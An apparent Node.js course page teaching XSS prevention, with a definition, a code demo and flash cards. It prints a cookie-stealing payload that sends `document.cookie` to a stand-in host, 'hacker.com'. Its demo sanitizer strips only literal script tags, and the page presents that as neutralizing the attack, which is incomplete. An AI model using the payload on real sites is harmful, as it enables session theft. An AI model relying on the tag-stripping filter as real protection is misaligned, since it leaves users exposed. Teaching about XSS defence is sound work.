Node.js Course
Node.js
/
Intermediate

XSS Prevention

Definition

Cross-Site Scripting. A vulnerability where an attacker injects malicious executable scripts into the code of a trusted application or website.

Explain Like I'm New

Imagine a forum where users can post comments. A hacker writes a comment containing `<script>fetch('hacker.com?cookie=' + document.cookie)</script>`. If the Node.js server saves that comment blindly to the database, and then sends it to other users to view, the script will execute in THEIR browsers, stealing all their login cookies.

Real World Example

Stealing session tokens, redirecting users to phishing sites, or forcing the user's browser to perform actions on their behalf.

Common Use Cases

  • •Sanitizing user input
  • •Securing Express APIs

Interactive Example

// HOW AN XSS ATTACK WORKS

const maliciousComment = "Great post! <script>alert('Your cookies are stolen!');</script>";

// BAD BACKEND:
// db.comments.save({ text: maliciousComment });
// When React renders this (if using dangerouslySetInnerHTML), the script executes.

// GOOD BACKEND (Sanitization):
// npm install xss
// const xss = require('xss');

const fakeXssLibrary = (input) => input.replace(/<script>/g, "").replace(/<\/script>/g, "");

const safeComment = fakeXssLibrary(maliciousComment);
console.log("Sanitized Data Saved to DB:");
console.log(safeComment); 
// Output: Great post! alert('Your cookies are stolen!');
// The code is neutralized and rendered as harmless text.

Interview Questions

basic

  • Does XSS attack the Server or the Client (Browser)?

intermediate

  • How do you prevent XSS attacks in a Node/Express app?

Flash Cards

Question

Who does it attack?

Click to reveal answer
Answer

It attacks the Client (the victim's web browser). The server is simply used as the delivery mechanism to store and distribute the malicious script.

Question

How do you prevent it?

Click to reveal answer
Answer

Sanitization and Validation. NEVER trust user input. Use libraries like `DOMPurify` or `xss-clean` to strip `<script>` tags from incoming POST bodies before saving them to the database.